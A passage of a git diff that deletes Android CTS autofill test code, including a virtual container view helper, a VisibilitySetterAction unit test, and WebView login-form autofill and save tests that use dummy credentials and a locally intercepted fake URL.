-            this.text = new Item(this, ++mNextChildId, textId, text, true, true);
-            this.inputType = inputType;
-        }
-
-        void changeFocus(boolean focused) {
-            this.focused = focused;
-
-            if (focused) {
-                absBounds = getAbsCoordinates();
-                Log.v(TAG, "Setting absBounds for " + text.id + " on focus change: " + absBounds);
-            }
-
-            if (mCompatMode) {
-                sendAccessibilityEvent(AccessibilityEvent.TYPE_VIEW_FOCUSED, text.id);
-                return;
-            }
-
-            if (focused) {
-                Log.d(TAG, "focus gained on " + text.id + "; absBounds=" + absBounds);
-                mAfm.notifyViewEntered(VirtualContainerView.this, text.id, absBounds);
-            } else {
-                Log.d(TAG, "focus lost on " + text.id);
-                mAfm.notifyViewExited(VirtualContainerView.this, text.id);
-            }
-        }
-
-        void setVisibilityIntegrationMode(VisibilityIntegrationMode mode) {
-            mVisibilityIntegrationMode = mode;
-        }
-
-        void changeVisibility(boolean visible) {
-            if (mVisibilityIntegrationMode == null) {
-                throw new IllegalStateException("must call setVisibilityIntegrationMode() first");
-            }
-            if (this.visible == visible) {
-                return;
-            }
-            this.visible = visible;
-            Log.d(TAG, "visibility changed view: " + text.id + "; visible:" + visible
-                    + "; integrationMode: " + mVisibilityIntegrationMode);
-            if (mVisibilityIntegrationMode == VisibilityIntegrationMode.NOTIFY_AFM) {
-                mAfm.notifyViewVisibilityChanged(VirtualContainerView.this, text.id, visible);
-            }
-            invalidate();
-        }
-
-        Rect getAbsCoordinates() {
-            // Must offset the boundaries so they're relative to the CustomView.
-            final int offset[] = new int[2];
-            getLocationOnScreen(offset);
-            final Rect absBounds = new Rect(bounds.left + offset[0],
-                    bounds.top + offset[1],
-                    bounds.right + offset[0], bounds.bottom + offset[1]);
-            Log.v(TAG, "getAbsCoordinates() for " + text.id + ": bounds=" + bounds
-                    + " offset: " + Arrays.toString(offset) + " absBounds: " + absBounds);
-            return absBounds;
-        }
-
-        void setText(String value) {
-            text.text = value;
-            final AutofillManager autofillManager =
-                    getContext().getSystemService(AutofillManager.class);
-            if (mCompatMode) {
-                sendAccessibilityEvent(AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED, text.id);
-            } else {
-                if (autofillManager != null) {
-                    autofillManager.notifyValueChanged(VirtualContainerView.this, text.id,
-                            AutofillValue.forText(text.text));
-                }
-            }
-            invalidate();
-        }
-
-        void setTextChangedListener(TextWatcher listener) {
-            text.listener = listener;
-        }
-
-        @Override
-        public String toString() {
-            return "Label: " + label + " Text: " + text + " Focused: " + focused
-                    + " Visible: " + visible;
-        }
-
-        final class OneTimeLineWatcher implements TextWatcher {
-            private final CountDownLatch latch;
-            private final CharSequence expected;
-
-            OneTimeLineWatcher(CharSequence expectedValue) {
-                this.expected = expectedValue;
-                this.latch = new CountDownLatch(1);
-            }
-
-            @Override
-            public void beforeTextChanged(CharSequence s, int start, int count, int after) {
-            }
-
-            @Override
-            public void onTextChanged(CharSequence s, int start, int before, int count) {
-                latch.countDown();
-            }
-
-            @Override
-            public void afterTextChanged(Editable s) {
-            }
-
-            void assertAutoFilled() throws Exception {
-                final boolean set = latch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-                assertWithMessage("Timeout (%s ms) on Line %s", FILL_TIMEOUT.ms(), label)
-                        .that(set).isTrue();
-                final String actual = text.text.toString();
-                assertWithMessage("Wrong auto-fill value on Line %s", label)
-                        .that(actual).isEqualTo(expected.toString());
-            }
-        }
-    }
-
-    static final class Item {
-        private final Line line;
-        final int id;
-        private final String resourceId;
-        private CharSequence text;
-        private final boolean editable;
-        private final boolean sensitive;
-        private final String className;
-        private TextWatcher listener;
-
-        Item(Line line, int id, String resourceId, CharSequence text, boolean editable,
-                boolean sensitive) {
-            this.line = line;
-            this.id = id;
-            this.resourceId = resourceId;
-            this.text = text;
-            this.editable = editable;
-            this.sensitive = sensitive;
-            this.className = editable ? TEXT_CLASS : LABEL_CLASS;
-        }
-
-        AccessibilityNodeInfo provideAccessibilityNodeInfo(View parent, Context context) {
-            final AccessibilityNodeInfo node = AccessibilityNodeInfo.obtain();
-            node.setSource(parent, id);
-            node.setPackageName(context.getPackageName());
-            node.setClassName(className);
-            node.setEditable(editable);
-            node.setViewIdResourceName(resourceId);
-            node.setVisibleToUser(true);
-            node.setInputType(line.inputType);
-            if (line.absBounds != null) {
-                node.setBoundsInScreen(line.absBounds);
-            }
-            if (TextUtils.getTrimmedLength(text) > 0) {
-                // TODO: Must checked trimmed length because input fields use 8 empty spaces to
-                // set width
-                node.setText(text);
-            }
-            return node;
-        }
-
-        private void autofill(CharSequence value) {
-            if (!editable) {
-                Log.w(TAG, "Item for id " + id + " is not editable: " + this);
-                return;
-            }
-            text = value;
-            if (listener != null) {
-                Log.d(TAG, "Notify listener: " + text);
-                listener.onTextChanged(text, 0, 0, 0);
-            }
-        }
-
-        @Override
-        public String toString() {
-            return id + "/" + resourceId + ": " + text + (editable ? " (editable)" : " (read-only)"
-                    + (sensitive ? " (sensitive)" : " (sanitized"));
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VisibilitySetterActionTest.java b/tests/autofillservice/src/android/autofillservice/cts/VisibilitySetterActionTest.java
deleted file mode 100644
index 202c5fd..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/VisibilitySetterActionTest.java
+++ /dev/null
@@ -1,122 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.testng.Assert.assertThrows;
-
-import android.content.Context;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.VisibilitySetterAction;
-import android.view.View;
-import android.view.ViewGroup;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.mockito.junit.MockitoJUnitRunner;
-
-@RunWith(MockitoJUnitRunner.class)
-@AppModeFull(reason = "Unit test")
-public class VisibilitySetterActionTest {
-
-    private static final Context sContext = getInstrumentation().getTargetContext();
-    private final ViewGroup mRootView = new ViewGroup(sContext) {
-
-        @Override
-        protected void onLayout(boolean changed, int l, int t, int r, int b) {}
-    };
-
-    @Test
-    public void testValidVisibilities() {
-        assertThat(new VisibilitySetterAction.Builder(42, View.VISIBLE).build()).isNotNull();
-        assertThat(new VisibilitySetterAction.Builder(42, View.GONE).build()).isNotNull();
-        assertThat(new VisibilitySetterAction.Builder(42, View.INVISIBLE).build()).isNotNull();
-    }
-
-    @Test
-    public void testInvalidVisibilities() {
-        assertThrows(IllegalArgumentException.class,
-                () -> new VisibilitySetterAction.Builder(42, 666).build());
-        final VisibilitySetterAction.Builder validBuilder =
-                new VisibilitySetterAction.Builder(42, View.VISIBLE);
-        assertThrows(IllegalArgumentException.class,
-                () -> validBuilder.setVisibility(108, 666).build());
-    }
-
-    @Test
-    public void testOneChild() {
-        final VisibilitySetterAction action = new VisibilitySetterAction.Builder(42, View.VISIBLE)
-                .build();
-        final View view = new View(sContext);
-        view.setId(42);
-        view.setVisibility(View.GONE);
-        mRootView.addView(view);
-
-        action.onClick(mRootView);
-
-        assertThat(view.getVisibility()).isEqualTo(View.VISIBLE);
-    }
-
-    @Test
-    public void testOneChildAddedTwice() {
-        final VisibilitySetterAction action = new VisibilitySetterAction.Builder(42, View.VISIBLE)
-                .setVisibility(42, View.INVISIBLE)
-                .build();
-        final View view = new View(sContext);
-        view.setId(42);
-        view.setVisibility(View.GONE);
-        mRootView.addView(view);
-
-        action.onClick(mRootView);
-
-        assertThat(view.getVisibility()).isEqualTo(View.INVISIBLE);
-    }
-
-    @Test
-    public void testMultipleChildren() {
-        final VisibilitySetterAction action = new VisibilitySetterAction.Builder(42, View.VISIBLE)
-                .setVisibility(108, View.INVISIBLE)
-                .build();
-        final View view1 = new View(sContext);
-        view1.setId(42);
-        view1.setVisibility(View.GONE);
-        mRootView.addView(view1);
-
-        final View view2 = new View(sContext);
-        view2.setId(108);
-        view2.setVisibility(View.GONE);
-        mRootView.addView(view2);
-
-        action.onClick(mRootView);
-
-        assertThat(view1.getVisibility()).isEqualTo(View.VISIBLE);
-        assertThat(view2.getVisibility()).isEqualTo(View.INVISIBLE);
-    }
-
-    @Test
-    public void testNoMoreInteractionsAfterBuild() {
-        final VisibilitySetterAction.Builder builder =
-                new VisibilitySetterAction.Builder(42, View.VISIBLE);
-
-        assertThat(builder.build()).isNotNull();
-        assertThrows(IllegalStateException.class, () -> builder.build());
-        assertThrows(IllegalStateException.class, () -> builder.setVisibility(108, View.GONE));
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Visitor.java b/tests/autofillservice/src/android/autofillservice/cts/Visitor.java
deleted file mode 100644
index 95bafa7..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/Visitor.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-/**
- * A generic visitor.
- *
- * <p>Typically used by activities under test to provide a way to run an action on the view using
- * the UI thread. Example:
- * <pre><code>
- * void onUsername(ViewVisitor<EditText> v) {
- *     runOnUiThread(() -> v.visit(mUsername));
- * }
- * </code></pre>
- */
-// TODO: move to common code
-public interface Visitor<T> {
-
-    void visit(T object);
-}
\ No newline at end of file
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
deleted file mode 100644
index 5946442..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
+++ /dev/null
@@ -1,175 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Timeouts.WEBVIEW_TIMEOUT;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.content.Context;
-import android.os.Bundle;
-import android.support.test.uiautomator.UiObject2;
-import android.util.Log;
-import android.view.View;
-import android.webkit.WebResourceRequest;
-import android.webkit.WebResourceResponse;
-import android.webkit.WebView;
-import android.webkit.WebViewClient;
-import android.widget.EditText;
-import android.widget.LinearLayout;
-
-import com.android.compatibility.common.util.RetryableException;
-
-import java.io.IOException;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-public class WebViewActivity extends AbstractWebViewActivity {
-
-    private static final String TAG = "WebViewActivity";
-    private static final String FAKE_URL = "https://" + FAKE_DOMAIN + ":666/login.html";
-    static final String ID_WEBVIEW = "webview";
-
-    static final String ID_OUTSIDE1 = "outside1";
-    static final String ID_OUTSIDE2 = "outside2";
-
-    private LinearLayout mParent;
-    private LinearLayout mOutsideContainer1;
-    private LinearLayout mOutsideContainer2;
-    EditText mOutside1;
-    EditText mOutside2;
-
-    private UiObject2 mUsernameLabel;
-    private UiObject2 mUsernameInput;
-    private UiObject2 mPasswordLabel;
-    private UiObject2 mPasswordInput;
-    private UiObject2 mLoginButton;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.webview_activity);
-
-        mParent = findViewById(R.id.parent);
-        mOutsideContainer1 = findViewById(R.id.outsideContainer1);
-        mOutsideContainer2 = findViewById(R.id.outsideContainer2);
-        mOutside1 = findViewById(R.id.outside1);
-        mOutside2 = findViewById(R.id.outside2);
-    }
-
-    public MyWebView loadWebView(UiBot uiBot) throws Exception {
-        return loadWebView(uiBot, false);
-    }
-
-    public MyWebView loadWebView(UiBot uiBot, boolean usingAppContext) throws Exception {
-        final CountDownLatch latch = new CountDownLatch(1);
-        syncRunOnUiThread(() -> {
-            final Context context = usingAppContext ? getApplicationContext() : this;
-            mWebView = new MyWebView(context);
-            mParent.addView(mWebView);
-            mWebView.setWebViewClient(new WebViewClient() {
-                // WebView does not set the WebDomain on file:// requests, so we need to use an
-                // https:// request and intercept it to provide the real data.
-                @Override
-                public WebResourceResponse shouldInterceptRequest(WebView view,
-                        WebResourceRequest request) {
-                    final String url = request.getUrl().toString();
-                    if (!url.equals(FAKE_URL)) {
-                        Log.d(TAG, "Ignoring " + url);
-                        return super.shouldInterceptRequest(view, request);
-                    }
-
-                    final String rawPath = request.getUrl().getPath()
-                            .substring(1); // Remove leading /
-                    Log.d(TAG, "Converting " + url + " to " + rawPath);
-                    // NOTE: cannot use try-with-resources because it would close the stream before
-                    // WebView uses it.
-                    try {
-                        return new WebResourceResponse("text/html", "utf-8",
-                                getAssets().open(rawPath));
-                    } catch (IOException e) {
-                        throw new IllegalArgumentException("Error opening " + rawPath, e);
-                    }
-                }
-
-                @Override
-                public void onPageFinished(WebView view, String url) {
-                    Log.v(TAG, "onPageFinished(): " + url);
-                    latch.countDown();
-                }
-            });
-            mWebView.loadUrl(FAKE_URL);
-        });
-
-        // Wait until it's loaded.
-        if (!latch.await(WEBVIEW_TIMEOUT.ms(), TimeUnit.MILLISECONDS)) {
-            throw new RetryableException(WEBVIEW_TIMEOUT, "WebView not loaded");
-        }
-
-        // Validation check to make sure autofill was enabled when the WebView was created
-        assertThat(mWebView.isAutofillEnabled()).isTrue();
-
-        // WebView builds its accessibility tree asynchronously and only after being queried the
-        // first time, so we should first find the WebView and query some of its properties,
-        // wait for its accessibility tree to be populated (by blocking until a known element
-        // appears), then cache the objects for further use.
-
-        // NOTE: we cannot search by resourceId because WebView does not set them...
-
-        // Wait for known element...
-        mUsernameLabel = uiBot.assertShownByText("Username: ", WEBVIEW_TIMEOUT);
-        // ...then cache the others
-        mUsernameInput = getInput(uiBot, mUsernameLabel);
-        mPasswordLabel = uiBot.findRightAwayByText("Password: ");
-        mPasswordInput = getInput(uiBot, mPasswordLabel);
-        mLoginButton = uiBot.findRightAwayByText("Login");
-
-        return mWebView;
-    }
-
-    public void loadOutsideViews() {
-        syncRunOnUiThread(() -> {
-            mOutsideContainer1.setVisibility(View.VISIBLE);
-            mOutsideContainer2.setVisibility(View.VISIBLE);
-        });
-    }
-
-    public UiObject2 getUsernameLabel() throws Exception {
-        return mUsernameLabel;
-    }
-
-    public UiObject2 getPasswordLabel() throws Exception {
-        return mPasswordLabel;
-    }
-
-    public UiObject2 getUsernameInput() throws Exception {
-        return mUsernameInput;
-    }
-
-    public UiObject2 getPasswordInput() throws Exception {
-        return mPasswordInput;
-    }
-
-    public UiObject2 getLoginButton() throws Exception {
-        return mLoginButton;
-    }
-
-    @Override
-    public void clearFocus() {
-        syncRunOnUiThread(() -> mParent.requestFocus());
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
deleted file mode 100644
index bd3682f..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
+++ /dev/null
@@ -1,581 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.WebViewActivity.HTML_NAME_PASSWORD;
-import static android.autofillservice.cts.WebViewActivity.HTML_NAME_USERNAME;
-import static android.autofillservice.cts.WebViewActivity.ID_OUTSIDE1;
-import static android.autofillservice.cts.WebViewActivity.ID_OUTSIDE2;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.app.assist.AssistStructure.ViewNode;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.platform.test.annotations.AppModeFull;
-import android.support.test.uiautomator.UiObject2;
-import android.util.Log;
-import android.view.KeyEvent;
-import android.view.ViewStructure.HtmlInfo;
-
-import org.junit.Ignore;
-import org.junit.Test;
-
-public class WebViewActivityTest extends AbstractWebViewTestCase<WebViewActivity> {
-
-    private static final String TAG = "WebViewActivityTest";
-
-    private WebViewActivity mActivity;
-
-    @Override
-    protected AutofillActivityTestRule<WebViewActivity> getActivityRule() {
-        return new AutofillActivityTestRule<WebViewActivity>(WebViewActivity.class) {
-
-            // TODO(b/111838239): latest WebView implementation calls AutofillManager.isEnabled() to
-            // disable autofill for optimization when it returns false, and unfortunately the value
-            // returned by that method does not change when the service is enabled / disabled, so we
-            // need to start enable the service before launching the activity.
-            // Once that's fixed, remove this overridden method.
-            @Override
-            protected void beforeActivityLaunched() {
-                super.beforeActivityLaunched();
-                Log.i(TAG, "Setting service before launching the activity");
-                enableService();
-            }
-
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillOneDataset() is enough")
-    public void testAutofillNoDatasets() throws Exception {
-        // Set service.
-        enableService();
-
-        // Load WebView
-        mActivity.loadWebView(mUiBot);
-
-        // Set expectations.
-        sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
-
-        // Trigger autofill.
-        mActivity.getUsernameInput().click();
-        sReplier.getNextFillRequest();
-
-        // Assert not shown.
-        mUiBot.assertNoDatasetsEver();
-    }
-
-    @Test
-    public void testAutofillOneDataset() throws Exception {
-        autofillOneDatasetTest(false);
-    }
-
-    @Ignore("blocked on b/74793485")
-    @Test
-    @AppModeFull(reason = "testAutofillOneDataset() is enough")
-    public void testAutofillOneDataset_usingAppContext() throws Exception {
-        autofillOneDatasetTest(true);
-    }
-
-    private void autofillOneDatasetTest(boolean usesAppContext) throws Exception {
-        // Set service.
-        enableService();
-
-        // Load WebView
-        final MyWebView myWebView = mActivity.loadWebView(mUiBot, usesAppContext);
-        // Validation check to make sure autofill is enabled in the application context
-        Helper.assertAutofillEnabled(myWebView.getContext(), true);
-
-        // Set expectations.
-        myWebView.expectAutofill("dude", "sweet");
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(HTML_NAME_USERNAME, "dude")
-                .setField(HTML_NAME_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-
-        // Trigger autofill.
-        mActivity.getUsernameInput().click();
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-        mUiBot.assertDatasets("The Dude");
-
-        // Change focus around.
-        final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
-        mActivity.getUsernameLabel().click();
-        callback.assertUiHiddenEvent(myWebView, usernameChildId);
-        mUiBot.assertNoDatasets();
-        mActivity.getPasswordInput().click();
-        final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
-        final UiObject2 datasetPicker = mUiBot.assertDatasets("The Dude");
-
-        // Now Autofill it.
-        mUiBot.selectDataset(datasetPicker, "The Dude");
-        myWebView.assertAutofilled();
-        mUiBot.assertNoDatasets();
-        callback.assertUiHiddenEvent(myWebView, passwordChildId);
-
-        // Assert structure passed to service.
-        try {
-            final ViewNode webViewNode =
-                    Helper.findWebViewNodeByFormName(fillRequest.structure, "FORM AM I");
-            assertThat(webViewNode.getClassName()).isEqualTo("android.webkit.WebView");
-            assertThat(webViewNode.getWebDomain()).isEqualTo(WebViewActivity.FAKE_DOMAIN);
-            assertThat(webViewNode.getWebScheme()).isEqualTo("https");
-
-            final ViewNode usernameNode =
-                    Helper.findNodeByHtmlName(fillRequest.structure, HTML_NAME_USERNAME);
-            Helper.assertTextIsSanitized(usernameNode);
-            final HtmlInfo usernameHtmlInfo = Helper.assertHasHtmlTag(usernameNode, "input");
-            Helper.assertHasAttribute(usernameHtmlInfo, "type", "text");
-            Helper.assertHasAttribute(usernameHtmlInfo, "name", "username");
-            assertThat(usernameNode.isFocused()).isTrue();
-            assertThat(usernameNode.getAutofillHints()).asList().containsExactly("username");
-            assertThat(usernameNode.getHint()).isEqualTo("There's no place like a holder");
-
-            final ViewNode passwordNode =
-                    Helper.findNodeByHtmlName(fillRequest.structure, HTML_NAME_PASSWORD);
-            Helper.assertTextIsSanitized(passwordNode);
-            final HtmlInfo passwordHtmlInfo = Helper.assertHasHtmlTag(passwordNode, "input");
-            Helper.assertHasAttribute(passwordHtmlInfo, "type", "password");
-            Helper.assertHasAttribute(passwordHtmlInfo, "name", "password");
-            assertThat(passwordNode.getAutofillHints()).asList()
-                    .containsExactly("current-password");
-            assertThat(passwordNode.getHint()).isEqualTo("Holder it like it cannnot passer a word");
-            assertThat(passwordNode.isFocused()).isFalse();
-        } catch (RuntimeException | Error e) {
-            Helper.dumpStructure("failed on testAutofillOneDataset()", fillRequest.structure);
-            throw e;
-        }
-    }
-
-    @Test
-    public void testSaveOnly() throws Exception {
-        // Set service.
-        enableService();
-
-        // Load WebView
-        mActivity.loadWebView(mUiBot);
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
-                        HTML_NAME_USERNAME, HTML_NAME_PASSWORD)
-                .build());
-
-        // Trigger autofill.
-        mActivity.getUsernameInput().click();
-        sReplier.getNextFillRequest();
-
-        // Assert not shown.
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger save.
-        if (INJECT_EVENTS) {
-            mActivity.getUsernameInput().click();
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_U);
-            mActivity.getPasswordInput().click();
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_P);
-        } else {
-            mActivity.getUsernameInput().setText("DUDE");
-            mActivity.getPasswordInput().setText("SWEET");
-        }
-        mActivity.getLoginButton().click();
-
-        // Assert save UI shown.
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        // Assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        final ViewNode usernameNode = Helper.findNodeByHtmlName(saveRequest.structure,
-                HTML_NAME_USERNAME);
-        final ViewNode passwordNode = Helper.findNodeByHtmlName(saveRequest.structure,
-                HTML_NAME_PASSWORD);
-        if (INJECT_EVENTS) {
-            Helper.assertTextAndValue(usernameNode, "u");
-            Helper.assertTextAndValue(passwordNode, "p");
-        } else {
-            Helper.assertTextAndValue(usernameNode, "DUDE");
-            Helper.assertTextAndValue(passwordNode, "SWEET");
-        }
-    }
-
-    @Test
-    public void testAutofillAndSave() throws Exception {
-        // Set service.
-        enableService();
-
-        // Load WebView
-        final MyWebView myWebView = mActivity.loadWebView(mUiBot);
-
-        // Set expectations.
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        myWebView.expectAutofill("dude", "sweet");
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
-                        HTML_NAME_USERNAME, HTML_NAME_PASSWORD)
-                .addDataset(new CannedDataset.Builder()
-                        .setField(HTML_NAME_USERNAME, "dude")
-                        .setField(HTML_NAME_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mActivity.getUsernameInput().click();
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-        mUiBot.assertDatasets("The Dude");
-        final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
-
-        // Assert structure passed to service.
-        final ViewNode usernameNode = Helper.findNodeByHtmlName(fillRequest.structure,
-                HTML_NAME_USERNAME);
-        Helper.assertTextIsSanitized(usernameNode);
-        assertThat(usernameNode.isFocused()).isTrue();
-        assertThat(usernameNode.getAutofillHints()).asList().containsExactly("username");
-        final ViewNode passwordNode = Helper.findNodeByHtmlName(fillRequest.structure,
-                HTML_NAME_PASSWORD);
-        Helper.assertTextIsSanitized(passwordNode);
-        assertThat(passwordNode.getAutofillHints()).asList().containsExactly("current-password");
-        assertThat(passwordNode.isFocused()).isFalse();
-
-        // Autofill it.
-        mUiBot.selectDataset("The Dude");
-        myWebView.assertAutofilled();
-        callback.assertUiHiddenEvent(myWebView, usernameChildId);
-
-        // Now trigger save.
-        if (INJECT_EVENTS) {
-            mActivity.getUsernameInput().click();
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_U);
-            mActivity.getPasswordInput().click();
-            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_P);
-        } else {
-            mActivity.getUsernameInput().setText("DUDE");
-            mActivity.getPasswordInput().setText("SWEET");
-        }
-        mActivity.getLoginButton().click();
-
-        // Assert save UI shown.
-        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        // Assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        final ViewNode usernameNode2 = Helper.findNodeByHtmlName(saveRequest.structure,
-                HTML_NAME_USERNAME);
-        final ViewNode passwordNode2 = Helper.findNodeByHtmlName(saveRequest.structure,
-                HTML_NAME_PASSWORD);
-        if (INJECT_EVENTS) {
-            Helper.assertTextAndValue(usernameNode2, "dudeu");
-            Helper.assertTextAndValue(passwordNode2, "sweetp");
-        } else {
-            Helper.assertTextAndValue(usernameNode2, "DUDE");
-            Helper.assertTextAndValue(passwordNode2, "SWEET");
-        }
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillAndSave() is enough")
-    public void testAutofillAndSave_withExternalViews_loadWebViewFirst() throws Exception {
-        // Set service.
-        enableService();
-
-        // Load views
-        final MyWebView myWebView = mActivity.loadWebView(mUiBot);
-        mActivity.loadOutsideViews();
-
-        // Set expectations.
-        myWebView.expectAutofill("dude", "sweet");
-        final OneTimeTextWatcher outside1Watcher = new OneTimeTextWatcher("outside1",
-                mActivity.mOutside1, "duder");
-        final OneTimeTextWatcher outside2Watcher = new OneTimeTextWatcher("outside2",
-                mActivity.mOutside2, "sweeter");
-        mActivity.mOutside1.addTextChangedListener(outside1Watcher);
-        mActivity.mOutside2.addTextChangedListener(outside2Watcher);
-
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        sReplier.setIdMode(IdMode.HTML_NAME_OR_RESOURCE_ID);
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
-                        HTML_NAME_USERNAME, HTML_NAME_PASSWORD, ID_OUTSIDE1, ID_OUTSIDE2)
-                .addDataset(new CannedDataset.Builder()
-                        .setField(HTML_NAME_USERNAME, "dude", createPresentation("USER"))
-                        .setField(HTML_NAME_PASSWORD, "sweet", createPresentation("PASS"))
-                        .setField(ID_OUTSIDE1, "duder", createPresentation("OUT1"))
-                        .setField(ID_OUTSIDE2, "sweeter", createPresentation("OUT2"))
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mActivity.getUsernameInput().click();
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-        mUiBot.assertDatasets("USER");
-        final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
-
-        // Assert structure passed to service.
-        final ViewNode usernameFillNode = Helper.findNodeByHtmlName(fillRequest.structure,
-                HTML_NAME_USERNAME);
-        Helper.assertTextIsSanitized(usernameFillNode);
-        assertThat(usernameFillNode.isFocused()).isTrue();
-        assertThat(usernameFillNode.getAutofillHints()).asList().containsExactly("username");
-        final ViewNode passwordFillNode = Helper.findNodeByHtmlName(fillRequest.structure,
-                HTML_NAME_PASSWORD);
-        Helper.assertTextIsSanitized(passwordFillNode);
-        assertThat(passwordFillNode.getAutofillHints()).asList()
-                .containsExactly("current-password");
-        assertThat(passwordFillNode.isFocused()).isFalse();
-
-        final ViewNode outside1FillNode = Helper.findNodeByResourceId(fillRequest.structure,
-                ID_OUTSIDE1);
-        Helper.assertTextIsSanitized(outside1FillNode);
-        final ViewNode outside2FillNode = Helper.findNodeByResourceId(fillRequest.structure,
-                ID_OUTSIDE2);
-        Helper.assertTextIsSanitized(outside2FillNode);
-
-        // Move focus around to make sure UI is shown accordingly
-        mActivity.clearFocus();
-        mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
-        callback.assertUiHiddenEvent(myWebView, usernameChildId);
-        mUiBot.assertDatasets("OUT1");
-        callback.assertUiShownEvent(mActivity.mOutside1);
-
-        mActivity.clearFocus();
-        mActivity.getPasswordInput().click();
-        callback.assertUiHiddenEvent(mActivity.mOutside1);
-        mUiBot.assertDatasets("PASS");
-        final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
-
